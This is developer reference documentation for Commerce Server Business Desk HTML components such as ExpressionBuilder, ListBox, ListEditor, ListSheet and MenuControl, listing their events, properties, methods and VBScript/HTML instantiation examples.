Return to top


Properties

The ExpressionBuilder HTC supports the following properties:

  • IsActive
  • IsReady

IsActive

The IsActive property indicates whether the ExpressionBuilder HTC is currently active. The value of this property is True when the ExpressionBuilder HTC is active. The ExpressionBuilder HTC is defined as 'active' when a user can interact with it. The value is False when the control is inactive.

This property is read-only.

Return to top

IsReady

The IsReady property indicates whether the ExpressionBuilder HTC is ready to use. The value of this property is False before the OnReady event fires, and True after that event fires. It allows polling to be used to determine whether the ExpressionBuilder HTC is ready to use.

This property is read-only.

Return to top


Methods

The ExpressionBuilder HTC supports the following methods:

  • Activate
  • Deactivate
  • GetResults
  • Save
  • Cancel

Activate(strMode, nExprID)

The Activate method activates the ExpressionBuilder HTC, indicating success with a return value of True, and failure with a return value of False.

The required strMode parameter indicates the mode in which the expression indicated by the required nExprID parameter, if any, is loaded. Legal values are 'create', 'createfrom', 'edit', and 'view'. If the value of strMode is 'create', the value of the nExprID parameter is ignored. Otherwise, the value of the nExprID parameter must be the ID of an expression in the expression store.

Example:

bResult = elExpBuilder.Activate("create", -1)

After calling the Activate method, you should wait for the IsReady event to fire or the IsReady property to become True. If the OnError event fires first, an asynchronous activation error has occurred.

Return to top

Deactivate

The Deactivate method deactivates the ExpressionBuilder HTC. It does not take any parameters, and the current expression information is not cleared.

Return to top

GetResults

The GetResults method returns the current ExpressionBuilder HTC status and results using a Scripting.Dictionary object. This Dictionary object contains the following entries:

  • The SavedExpr dictionary entry is set to True if the current expression has been successfully saved, and False otherwise. Expressions are saved as a result of successful create and save operations.
  • The ExprID dictionary entry contains the ID of the expression being manipulated. It is set to –1 (EXPR_INVALID) if the expression has not yet been saved.
  • The ExprName dictionary entry contains the current name of the expression, regardless of whether expression editing is complete.
  • The ExprBody dictionary entry contains the current XML representation of the expression, regardless of whether expression editing is complete.

The GetResults method does not take any parameters.

Example: oDictionary = elExpBuilder.GetResults()

Return to top

Save

Assuming that the activation mode is not 'view', the Save method saves the current expression. It returns True if the save operation is successful, and False otherwise.

Calling this method is equivalent to the user clicking the Save button. If successful, it fires the OnComplete event.

Return to top

Cancel

The Cancel method discards any unsaved editing of the current expression and disables the Expression Builder user interface. It does not return any value.

Calling this method is equivalent to the user clicking the Cancel button. If the user does not abort the cancellation, this method fires the OnComplete event.

Return to top


Container Attributes

In order to pass data to the ExpressionBuilder HTC, the following attribute must be set on the element that is using the ExpressionBuilder behavior (this element is typically a DIV):

XMLCfgID
The value of this attribute must be set to the ID of the Extensible Markup Language (XML) data-island containing the configuration data for the ExpressionBuilder HTC.


Configuration Data

The ExpressionBuilder HTC requires that its configuration information be passed to it in the form of an Extensible Markup Language (XML) data-island. This information consists partly of configuration information specific to the embedded QueryBuilder HTC, which is ignored by the ExpressionBuilder HTC, and partly of configuration information specific to the ExpressionBuilder HTC.

For detailed information about the structure of this XML data-island, see ExpressionBuilder Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a ExpressionBuilder HTC within a DIV element. The Style attribute specifies that the ExpressionBuilder HTC behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the ExpressionBuilder HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The XMLCfgID attribute specifies the configuration data-island that is defined elsewhere within the document. The Language attribute specifies that the ExpressionBuilder HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the ExpressionBuilder HTC.

Finally, temporary text is provided to inform the user that the ExpressionBuilder HTC is loading.

  <DIV Id='myExpressionBuilder'
       Class='clsExprBldr'
       Style='behavior:url(/widgets/exprbldrHTC/ExprBldr.htc); width:100%'
       Language='VBScript'
       XMLCfgID='DataIslandID'
       OnComplete='CompleteHandler()'
       OnError='ErrorHandler()'
       OnReady='ReadyHandler()'
  >Loading ExpressionBuilder, please wait...</DIV>


ListBox

The ListBox HTML component (HTC) allows easy list operations on a nested DIV element. A common use of the ListBox HTC occurs when a pair of them are used side by side, with the one on the left listing available choices and the one on the right listing those choices already made. Typically, several buttons are placed between the lists, providing the ability to move items from one list to the other.

Data is initially specified to populate the ListBox HTC as attribute and data values to DIV elements nested within the DIV element that specifies the 'ListBox' value for the Class attribute. After that, additional data is added and removed from the ListBox HTC using methods provided for that purpose. Unlike the other Commerce Server HTCs, the ListBox HTC does not require any pre-existing XML data-islands to provide configuration information.

This section contains:

  • Events. Describes the events supported by the ListBox HTC.
  • Properties. Describes the properties supported by the ListBox HTC.
  • Methods. Describes the methods supported by the ListBox HTC.
  • Container Attributes. Describes the attributes that the ListBox HTC expects to be set on the element in which it is contained.
  • Initial Data Population. Describes how the data used to initially populate the ListBox HTC is provided.
  • Instantiation Example. Demonstrates how the ListBox HTC is instantiated in script on an Active Server Pages (ASP) page.


Events

The ListBox HTC supports the following events:

  • OnChange
  • OnSelect
  • OnSelectAll
  • OnUnselect
  • OnUnselectAll

OnChange

The OnChange event fires when one or more items is added to, or removed from, the list.

There are no event object properties associated with this event.

Return to top

OnSelect

The OnSelect event fires when one or more items are selected.

There are no event object properties associated with this event.

Return to top

OnSelectAll

The OnSelectAll event fires when all items are selected via the SelectAll method.

There are no event object properties associated with this event.

Return to top

OnUnselect

The OnUnselect event fires when an item is unselected.

There are no event object properties associated with this event.

Return to top

OnUnselectAll

The OnUnselectAll event fires when all items are unselected via the UnselectAll method.

There are no event object properties associated with this event.

Return to top


Properties

The ListBox HTC supports the following properties:

  • disabled
  • selected
  • text
  • value

disabled

The disabled property returns True when the ListBox HTC has been disabled, and False otherwise. While disabled, the ListBox HTC will be dimmed and removed from the tab order.

This property is read/write.

Return to top

selected

The selected property returns the selected HTML element.

When in multi-select mode, this property returns a single HTML element, even if multiple elements are selected. It returns either the first or the last selected item in the list. Therefore, you should not rely on this property when in multi-select mode.

This property is read-only.

Return to top

text

The text property returns the display name associated with the currently selected item.

When in multi-select mode, this property returns a single display name, even if multiple items are selected. It returns the display name of either the first or the last selected item in the list. Therefore, you should not rely on this property when in multi-select mode.

This property is read/write.

Return to top

value

The value property returns the value associated with the currently selected item, represented as a string. When in multi-select mode, this property returns the value associated with either the last selected item or the first selected item from the list.

This property is read/write.

Return to top


Methods

The ListBox HTC supports the following methods:

  • add
  • addItem
  • movedown
  • moveup
  • remove
  • select
  • SelectAll
  • unselect
  • UnselectAll

add(xmlNodes)

The add method adds one or more items to the list, based on the data contained in the xmlNodes object passed via the required xmlNodes parameter. This xmlNodes object must have the same format as that returned by the remove method. Beyond that, no other format assumptions should be made.

This method does not return any value.

This method is most useful when moving one or more items from one ListBox HTC to another ListBox HTC.

Return to top

addItem(sValue, sText)

The addItem method adds a single item to the list based on the values of the required parameters sValue and sText. The sValue parameter specifies the value associated with the new item, and the sText parameter specifies the display name of the new item.

This method does not return any value.

Return to top

movedown

The movedown method moves the selected item to the next lower position in the list.

When in multi-select mode, this property moves a single selected item down one position, even if multiple items are selected. It moves either the first or the last selected item in the list. Therefore, you should not rely on this method when in multi-select mode.

This method does not return any value.

Return to top

moveup

The moveup method moves the selected item to the next higher position in the list.

When in multi-select mode, this property moves a single selected item up one position, even if multiple items are selected. It moves either the first or the last selected item in the list. Therefore, you should not rely on this method when in multi-select mode.

This method does not return any value.

Return to top

remove

The remove method removes all selected items from the list and returns those items in XML representation. The returned xmlNodes object has the same format as that required by the add method. Beyond that, no other format assumptions should be made.

This method is most useful when moving one or more items from one ListBox HTC to another ListBox HTC.

Example: set xmlNodes = elListBox.remove

Return to top

select(sValue)

The select method selects the first item found that has a value equal to the required sValue parameter. If nothing is found, nothing is selected (this is not considered an error, so no error is returned).

This method does not return any value.

Return to top

SelectAll

The SelectAll method selects all of the items in the list. It does not take any parameters or return any value.

Return to top

unselect(sValue)

The unselect method unselects the first item found that has a value equal to the required sValue parameter. If nothing is found, nothing is unselected (this is not considered an error, so no error is returned).

This method does not return any value.

Return to top

UnselectAll

The UnselectAll method unselects all of the items in the list. It does not take any parameters or return any value.

Return to top


Container Attributes

Unlike most of the other Commerce Server HTCs, the ListBox HTC does not use Extensible Markup Language (XML) data-islands, specified using container attributes, for its data and configuration information. Instead, it uses a container attribute and an additional Class attribute value for some simple configuration, as follows:

selection
The value of this attribute specifies whether the ListBox HTC will allow single selection or multiple selection. Legal values are 'single' and 'multi'. The default is single selection.
lbDisabled
Specifying this Class attribute value, in addition to the 'ListBox' Class attribute value, causes the ListBox HTC to initially be displayed as disabled.


Initial Data Population

The ListBox HTC allows its initial set of data to be specified using DIV elements, one per item, that are nested within the DIV element that specifies the ListBox HTC itself. These inner DIV elements must include a VALUE attribute, the value of which specifies the value to be associated with the list item. They must also include data, which provides the string to be displayed for the item in the ListBox HTC. The following example shows this DIV element structure:

  <DIV Class='ListBox'   . . . >
      <DIV VALUE='value1'>display value 1</DIV>
      <DIV VALUE='value2'>display value 2</DIV>
      . . .
      <DIV VALUE='valueN'>display value N</DIV>
  </DIV>


Instantiation Example

The following HTML code shows a typical instantiation of a ListBox HTC within a DIV element. The first Class attribute value specifies that the ListBox behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the ListBox HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The nested DIV elements specify the initial list box data. The second Class attribute value and the Selection attribute specify that the list box should be initially disabled, and allow multiple selection, respectively. The Language attribute specifies that the ListBox HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the ListBox HTC.

  <DIV Class='ListBox lbDisabled'
       Language='VBScript'
       Selection='multi'
       OnChange='ChangeHandler()'
       OnSelect='SelectHandler()'
       OnSelectAll='SelectAllHandler()'
       OnUnselect='UnselectHandler()'
       OnUnselectAll='UnselectAllHandler()'>
         <DIV VALUE='value1'>display value 1</DIV>
         <DIV VALUE='value2'>display value 2</DIV>
         . . .
         <DIV VALUE='valueN'>display value N</DIV>
  </DIV>


ListEditor

The ListEditor HTML component (HTC) displays a table of data, known as the list area, where each row represents a record and each column represents a particular field from the record. The list area table can be configured to allow paging and sorting. Below this table is another table, known as the edit area, which displays and allows editing of the record selected in the first table. This second table has two columns. The first column contains field names and the second column contains the field data itself, displayed within the appropriate embedded EditField HTC.

Data is passed to the ListEditor HTC in the form of Extensible Markup Language (XML) data-islands. This includes the configuration data that provides, for example, the display names for columns in the list area, and various characteristics of the fields displayed in the edit area. It also includes the data itself, contained in a different XML data-island. Configuration data varies from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs, including the ListEditor HTC, accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

Unlike the DynamicTable HTC, the ListEditor HTC can be configured to allow the editing of data that is not displayed in the columns of the list table. Like the DynamicTable HTC, the ListEditor HTC returns its result as an XML list document.

This section contains:

  • Events. Describes the events supported by the ListEditor HTC.
  • Properties. Describes the properties supported by the ListEditor HTC.
  • Methods. Describes the methods supported by the ListEditor HTC.
  • Container Attributes. Describes the attributes that the ListEditor HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the ListEditor HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the ListEditor HTC is instantiated in script on an Active Server Pages (ASP) page.


Events

The ListEditor HTC supports the following events:

  • OnCancel
  • OnChange
  • OnEdit
  • OnError
  • OnHeaderClick
  • OnNew
  • OnNewPage
  • OnValid

OnCancel

The OnCancel event fires when the user clicks the Cancel button or cancels the selection of a row in the list table.

Return to top

OnChange

The OnChange event fires when the user clicks either the Done button or the Remove button.

The event object property window.event.XMLList is a standard XMLList object hierarchy, including the state attribute in the record elements. For more information, see XMLList and XMLRecord Properties.

The event object property window.event.recordNumber contains a positive integer indicating the relative position of the last record changed (starting from zero).

Return to top

OnEdit

The OnEdit event fires when a user clicks a row to edit it and the associated values have been placed into the fields in the edit area.

The event object property window.event.recordNumber contains a positive integer indicating the relative position of the record being edited (starting from zero).

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy corresponding to the row being edited. For more information, see XMLList and XMLRecord Properties.

Return to top

OnError

The OnError event fires when the ListEditor HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur if you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnHeaderClick

The OnHeaderClick event fires when one of the column headings is clicked, allowing a sorting routine to be invoked. This event will not fire if sorting has been disabled (by setting the sort attribute to "no" in the metadata).

Two event object properties are set when the event is fired. The window.event.sortcol property contains a string that is set to the value of the id attribute of the (columns) column element corresponding to the heading that was clicked.

Note

  • When using the XMLHTTP sort operation there is no need to trap this event because sort runs automatically.

The event object property window.event.sortdir contains one of the two strings 'asc' or 'desc', indicating the new sorting direction (ascending or descending, respectively).

Return to top

OnNew

The OnNew event fires when the user clicks the New button and the fields in the edit area have been cleared.

The event object property window.event.recordNumber contains the value –1 to indicate that a new record is being added. New records are always added to the end of the list.

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy consisting of a new and empty record element. For more information, see XMLList and XMLRecord Properties.

Return to top

OnNewPage

The OnNewPage event fires when one of the page navigation buttons is clicked (First, Previous, Next, and Last), or when the page number is explicitly changed.

Note

  • When using the XMLHTTP page operation there is no need to trap this event because the page operation runs automatically.

The event object property window.event.page contains a positive integer that indicates the new page to be displayed. Page numbers start at one, not zero.

Return to top

OnValid

The OnValid event fires whenever the user starts editing a row and again when editing is complete.

The event object property window.event.valid is set to False when the event is fired because a row is being edited. When editing is complete (when either the Cancel or Accept button is clicked), the value is set to True.

This assures that the HTC cannot be saved when the user is in the middle of an edit.

Return to top


Properties

The ListEditor HTC supports the following properties:

  • dirty
  • page
  • recordcount
  • XMLList

dirty

The dirty property returns True if a row has been added, deleted, or edited, and False otherwise.

This property is read-only.

Return to top

page

The page property reads and writes the page number that is displayed in the page controls.

Writing a new page property does not fire the OnNewPage event, or do anything with regard to retrieving the data associated with the new page.

This property is read/write.

Return to top

recordcount

The recordcount property reads and writes the current number of records, and when written, the ListSheet HTC recalculates the page controls.

Setting this property to –1 causes the Last button to be disabled, and indicates that the number of records is not known.

Setting this property to 0 (zero) or any number less than or equal to the page size causes the page controls to be hidden.

This property is read/write.

Return to top

XMLList

The XMLList property is a standard XMLList object hierarchy, containing the list currently in use by the HTC, and including the state attribute in the record elements. For more information, see XMLList and XMLRecord Properties.

This property is read-only.

Return to top


Methods

The ListEditor HTC supports the following method:

field(sFieldId)

The field method retrieves a particular field element being used by the ListEditor HTC. The field is identified by the required sFieldId parameter, which specifies the value of the id attribute of one of the child elements of the fields element in the MetaXML data-island.

The returned HTMLElement has an attached EditField HTC. If the parameter does not match any of the id attributes, NULL is returned.

The returned HTMLElement allows access to any of the properties or methods of the EditField HTC.

Example: set elEditField = elListEditor.field(sFieldId)


Container Attributes

In order to pass data to the ListEditor HTC, the following attributes must be set on the element that is using the ListEditor behavior (this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the data to be displayed.
MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the DynamicTable HTC.


Configuration Data

The ListEditor HTC requires that its configuration information be passed to it in the form of an Extensible Markup Language (XML) data-island. This information consists of details about each column and row to be displayed in the list area and the edit area, respectively. For example, the type of the data in the column or row, minimum and maximum values for validation purposes, and the element name used for the corresponding data in the DataXML data-island.

For detailed information about the structure of this XML data-island, see ListEditor Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a ListEditor HTC within a DIV element. The Class attribute specifies that the ListEditor behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the ListEditor HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and configuration data-islands that are defined elsewhere within the document. The Language attribute specifies that the ListEditor HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the ListEditor HTC.

Finally, temporary text is provided to inform the user that the ListEditor HTC is loading.

  <DIV Id='myListEditor'
       Class='ListEditor'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       OnCancel=CancelHandler()'
       OnChange=ChangeHandler()'
       OnEdit='EditHandler()'
       OnError='ErrorHandler()'
       OnHeaderClick='HeaderClickHandler()'
       OnNewPage='NewPageHandler()'
       OnNew='NewHandler()'
       OnValid='ValidHandler()'
  >Loading ListEditor, please wait...</DIV>


ListSheet

The ListSheet HTML component (HTC) is the primary control for presenting data on a list page, and is used mainly to present data for viewing and selection. It displays data in a configurable, tabular format that allows paging and sorting. It can be configured to allow multiple selection, or it can be limited to a single selection.

In most of the available modes, data is presented in a hierarchical manner, allowing details to be shown or hidden by clicking in the row containing the higher-level information. When the arrow is pointing to the right, the details are hidden; when the arrow is pointing down, the details are shown.

Data is passed to the ListSheet HTC in the form of Extensible Markup Language (XML) data-islands. This includes the configuration data that provides, for example, the display names for data columns. It also includes the data itself, contained in a different XML data-island. Configuration data varies from HTC to HTC, depending on the specific characteristics of each type of HTC. In contrast, the data itself is essentially always the same — one or more records, each containing individual fields of data. Because of this, most of the HTCs, including the ListSheet HTC, accept data in the same generalized format. For more information about this data format, see Getting Data to the Client.

This section contains:

  • Modes of Operation. Describes the different modes in which the ListSheet HTC can be used.
  • Events. Describes the events supported by the ListSheet HTC.
  • Properties. Describes the properties supported by the ListSheet HTC.
  • Methods. Describes the methods supported by the ListSheet HTC.
  • Container Attributes. Describes the attributes that the ListSheet HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the ListSheet HTC via the ID used as the value of the MetaXML container attribute.
  • Instantiation Example. Demonstrates how the ListSheet HTC is instantiated in script on an Active Server Pages (ASP) page.


Modes of Operation

There are five distinct modes in which the ListSheet HTC can be configured, based on settings in the configuration data XML data-island. These five modes can be classified as belonging to one of three basic types: flat lists, homogeneous grouped lists, and heterogeneous grouped lists. The five modes are:

  • Flat List
  • Two-Level Homogeneous Grouped List
  • Three-Level Homogeneous Grouped List
  • List-Style Heterogeneous Grouped List
  • Properties-Style Heterogeneous Grouped List

Flat List

This is the most basic mode of the ListSheet HTC. The data is presented as a simple table with no expand/collapse capabilities. The id2 and id3 attributes of the column elements are not used. Also, the subobject element within the columns element is not used.

In this mode the ListSheet HTC expects a single-tiered DataXML data-island. Any extra tiers are ignored.

Return to top

Two-Level Homogeneous Grouped List

Two-level homogeneous lists are appropriate when there are two levels of data to display, and the same set of columns (specifically, column headings) can serve for the data at both levels.

Any given column need not contain data for both levels, and can be left blank or otherwise filled in such a way as to indicate that no data is expected in that column for that level of data. Some existing Commerce Server Business Desk modules use the hyphen ('-') character to indicate such a lack of data.

In two-level homogeneous grouped lists, the id2 attribute of the column (child of columns) elements are used to identify detail data in the second tier of records in the DataXML data-island. The subobject element and its embedded column elements are not used.

In this mode the ListSheet HTC expects a two-tiered DataXML data-island. Any extra tiers are ignored.

Return to top

Three-Level Homogeneous Grouped List

Three-level homogeneous lists are appropriate when there are three levels of data to display, and the same set of columns (specifically, column headings) can serve for the data at all three levels.

Any given column need not contain data for all three levels, and can be left blank or otherwise filled in such a way as to indicate that no data is expected in that column for that level of data. Some existing Business Desk modules use the hyphen ('-') character to indicate such a lack of data.

In three-level homogeneous grouped lists, the id2 and id3 attributes of the column (child of columns) elements are used to identify detail data in the second and third tiers of records, respectively, in the DataXML data-island. The subobject element and its embedded column elements are not used.

In this mode the ListSheet HTC expects a three-tiered DataXML data-island. Three is the greatest number of tiers that is supported.

Return to top

List-Style Heterogeneous Grouped List

Heterogeneous lists are appropriate where the data presented in columns in the group rows is different than the detailed data, and the sharing of column headings would not be appropriate. In list-style heterogeneous grouped lists, the detailed data is presented in what appears to be an embedded ListSheet HTC, typically displaying multiple records. Sub-items in a heterogeneous list are not selectable.

The subobject element and its column elements are used to describe the detailed data columns to be displayed. This includes the identity of the detail data to be displayed, which must exist in the second tier of records in the DataXML data-island. The id2 and id3 attributes of the (columns) column element are not used.

In this mode the ListSheet HTC expects a two-tiered DataXML data-island. Any extra tiers are ignored.

Return to top

Properties-Style Heterogeneous Grouped List

Heterogeneous lists are appropriate where the data presented in columns in the group rows is different than the detailed data, and the sharing of column headings would not be appropriate. In properties-style heterogeneous grouped lists, the detailed data is presented in what appears to be an embedded EditSheet HTC, displaying a single record. Sub-items in a heterogeneous list are not selectable.

The subobject element and its column elements are used to describe the detailed data rows to be displayed. This includes the identity of the detail data to be displayed, which must exist in the second tier of records in the DataXML data-island. The id2 and id3 attributes of the (columns) column element are not used.

In this mode the ListSheet HTC expects a two-tiered DataXML data-island. Any extra tiers are ignored.

Return to top


Events

The ListSheet HTC supports the following events:

  • OnAllRowsSelect
  • OnAllRowsUnselect
  • OnContextClick
  • OnDblClick
  • OnError
  • OnGroupOpen
  • OnHeaderClick
  • OnNewPage
  • OnRowSelect
  • OnRowUnselect

OnAllRowsSelect

The OnAllRowsSelect event fires when all rows are selected together using the Select All button.

No event object properties are set for this event.

The firing of this event indicates that all rows have been selected, including those on pages that are not currently being displayed.

Return to top

OnAllRowsUnselect

The OnAllRowsUnselect event fires when all rows are unselected together using the Deselect All button.

No event object properties are set for this event.

The firing of this event indicates that all rows have been unselected, including those on pages that are not currently being displayed.

Return to top

OnContextClick

The OnContextClick event fires when a task is chosen from the right-click context menu.

No event object properties are set for this event.

When a right-click task context menu is enabled for a ListSheet HTC, this event should be set to the utility routine execTaskFromContextMenu that is implemented in the file ActionPageUtil.asp.

Return to top

OnDblClick

The OnDblClick event fires when the user double-clicks on a row in the ListSheet HTC.

No event object properties are set for this event.

When a right-click task context menu is enabled for a ListSheet HTC, this event should be set to the utility routine execDefaultTask that is implemented in the file ActionPageUtil.asp.

Return to top

OnError

The OnError event fires when the ListSheet HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur when you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnGroupOpen

The OnGroupOpen event fires when a group row is opened to display sub-item rows or a sub-object table.

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy corresponding to the opened group row. For more information, see XMLList and XMLRecord Properties.

Return to top

OnHeaderClick

The OnHeaderClick event fires when one of the column headings is clicked, allowing a sorting routine to be invoked. This event will not fire if sorting has been disabled (by setting the sort attribute to "no" in the metadata).

Two event object properties are set when the event is fired. The window.event.sortcol property contains a string that is set to the value of the id attribute of the (columns) column element corresponding to the heading that was clicked.

Note

  • When using the XMLHTTP sort operation there is no need to trap this event because sort runs automatically.

The event object property window.event.sortdir contains one of the two strings 'asc' or 'desc', indicating the new sorting direction (ascending or descending, respectively).

Return to top

OnNewPage

The OnNewPage event fires when one of the page navigation buttons is clicked (First, Previous, Next, and Last), or when the page number is explicitly changed.

Note

  • When using the XMLHTTP page operation there is no need to trap this event because the page operation runs automatically.

The event object property window.event.page contains a positive integer that indicates the new page to be displayed. Page numbers start at one, not zero.

Return to top

OnRowSelect

The OnRowSelect event fires when a row is selected.

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy corresponding to the selected row. For more information, see XMLList and XMLRecord Properties.

Return to top

OnRowUnselect

The OnRowUnselect event fires when a row is unselected.

The event object property window.event.XMLRecord is a standard XMLRecord object hierarchy corresponding to the row that has been unselected. For more information, see XMLList and XMLRecord Properties.

Return to top


Properties

The ListSheet HTC supports the following properties:

  • page
  • recordcount
  • XMLList

page

The page property reads and writes the page number that is displayed in the page controls.

Writing a new page property does not fire the OnNewPage event, or do anything with regard to retrieving the data associated with the new page.

This property is read/write.

Return to top

recordcount

The recordcount property reads and writes the current number of records, and when written, the ListSheet HTC recalculates the page controls.

Setting this property to –1 causes the Last button to be disabled, and indicates that the number of records is not known.

Setting this property to 0 (zero) or any number less than or equal to the page size causes the page controls to be hidden.

This property is read/write.

Return to top

XMLList

The XMLList property is a standard XMLList object hierarchy, containing the list currently in use by the HTC. For more information, see XMLList and XMLRecord Properties.

This property is read-only.

Return to top


Methods

The ListSheet HTC supports the following methods:

  • reload
  • selectAllRows
  • unselectAllRows

reload(sOp, sArgs)

The reload method reloads the data into the ListSheet HTC using an operation configured in the MetaXML data-island. This type of operation, known as an XMLHTTP operation, retrieves and displays new data from the server without reloading the current page.

The operation is identified by the required sOp parameter, which specifies the name of a child element of the operations element in the MetaXML data-island. The element name can be one of the pre-defined operations: page, sort, or sublist, or it can be a completely custom operation.

The formid attribute of the matching operation element identifies the form that is posted as a result of this operation. The action attribute of the form specifies the page to which the form is posted.

Since the form will be posted in XML format, response pages should use the utility routine dGetRequestXMLAsDict to retrieve the posted XML as a Dictionary object. In addition, response pages should include the file BDXMLHeader.asp, which sets the response.contentType to 'text/xml' and inserts the processing instruction node to set the XML version and charset.

The sArgs parameter specifies a list of URL-encoded page arguments that are passed to the page being posted. In addition, any child elements of the form are sent with the form posting.

Finally, the pre-defined operations result in certain, pre-defined arguments being included:

  • Page operations: 'op', 'prevpage', 'page', 'column', and 'direction'
  • Sort operations: 'op', 'page', 'column' and 'direction'
  • SubList operation: 'op' and 'xmlrecord'

This method returns False if any error nodes are present in the returned XML, or if nothing is returned. It returns True if a valid XML record list is returned with no error nodes.

Example:

bRetVal = elListSheet.reload("double_sort")

The Sort operation automatically resets the current page number to 1 (one) and will run automatically when a column header is clicked. The Page operation automatically resets the current page number to whatever new page is requested and runs automatically when any of the page controls are clicked or if a new page number is entered into the page number input field. For some custom operations, it may be necessary to set the current page number of the ListSheet HTC to some new value before calling the reload method, based on the nature of the custom operation. The page property of the ListSheet HTC is provided for this purpose. For more information about the page property, see page.

Return to top

selectAllRows

The selectAllRows method selects all rows in the list. It does not take any parameters and does not have any return value.

This method selects all rows, including those on pages not currently being displayed.

Return to top

unselectAllRows

The unselectAllRows method unselects all rows in the list. It does not take any parameters and does not have any return value.

This method unselects all rows, including those on pages not currently being displayed.

Return to top


Container Attributes

In order to pass data to the ListSheet HTC, the following attributes must be set on the element that is using the ListSheet behavior (note that this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the data to be displayed.

Depending on the mode in which the ListSheet HTC is configured to run, this data-island may have one, two, or three tiers of record elements within it.

MetaXML
The value of this attribute must be set to the value of the id attribute of the XML data-island containing the configuration information for this instance of the ListSheet HTC.


Configuration Data

The ListSheet HTC requires that its configuration information be passed to it in the form of an XML data-island. This information consists primarily of details about each column to be displayed. For example, the type of the data in the column, minimum and maximum values for validation purposes, and the element name used for the corresponding data in the DataXML data-island.

For detailed information about the structure of this XML data-island, see ListSheet Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a ListSheet HTC within a DIV element. The Class attribute specifies that the ListSheet behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the ListSheet HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML and MetaXML attributes specify the data and configuration data-islands that are defined elsewhere within the document. The Language attribute specifies that the ListSheet HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the ListSheet HTC.

Finally, temporary text is provided to inform the user that the ListSheet HTC is loading.

  <DIV Id='myListSheet'
       Class='ListSheet'
       Language='VBScript'
       DataXML='DataIslandID'
       MetaXML='MetaDataIslandID'
       OnAllRowsSelect='AllRowsSelectHandler()'
       OnAllRowsUnselect='AllRowsUnselectHandler()'
       OnContextClick='execTaskFromContextItem()'
       OnDblClick='execDefaultTask()'
       OnError='ErrorHandler()'
       OnHeaderClick='HeaderClickHandler()'
       OnGroupOpen='GroupOpenHandler'
       OnNewPage='NewPageHandler()'
       OnRowSelect='RowSelectHandler()'
       OnRowUnselect='RowUnselectHandler()'
  >Loading ListSheet, please wait...</DIV>


MenuControl

The MenuControl HTML component (HTC) provides users with an easy and intuitive manner in which to control a context menu.

This section contains:

  • Instantiation Example Demonstrates how the MenuControl HTC is instantiated in script on an Active Server Pages (ASP) page.


Instantiation Example

The following is an example of the nested DIV structure used to construct a context menu:

  <DIV ID='mycontextmenu'
       CLASS='bdcontextmenu'
       TABINDEX=0
       STYLE='DISPLAY: none; BEHAVIOR: url(/widgets/listHTC/menucontrol.htc)'
       LANGUAGE=VBScript
       ONCLICK='clickContextMenuItem'
       ONHIGHLIGHT='toggleContextMenuHighlight'
       ONUNHIGHLIGHT='toggleContextMenuHighlight'
       ONCLOSE ='closeContextMenu'>
    <DIV ID='myopen'
         CLASS='bdcontextmenuitem'
         LANGUAGE=VBScript
         ONCONTEXTCLICK='myOpenHandler'>Open
    </DIV>
    <DIV ID='mydelete'
         CLASS='bdcontextmenuitem'
         LANGUAGE=VBScript
         ONCONTEXTCLICK='myDeleteHandler'>Delete
    </DIV>
  </DIV>

The routines myOpenHandler and myDeleteHandler will be run when the user clicks on the corresponding item in the menu.

To attach the above menu to an HTML element on your page simply add the routine showContextMenu to handle the onContext menu event:

  <LABEL ID='mylabel'
         LANGUAGE=VBScript
         ONCONTEXTMENU='showContextMenu'>
         Right-clickable text goes here
  </LABEL>

For more information about working with context menus, see the reference topics for the following routines:

  • clickContextMenuItem (client-side)
  • closeContextMenu (client-side)
  • showContextMenu (client-side)
  • toggleContextMenuHighlight (client-side)


QueryBuilder

The QueryBuilder HTML component (HTC) provides users with an easy and intuitive manner in which to build queries.

Queries are built from one or more clauses combined with logical operators. Clauses are operations or comparisons performed on one or more profiles. The QueryBuilder HTC currently supports a variety of property types and operators. The types and operators supported by the QueryBuilder HTC can be customized as well.

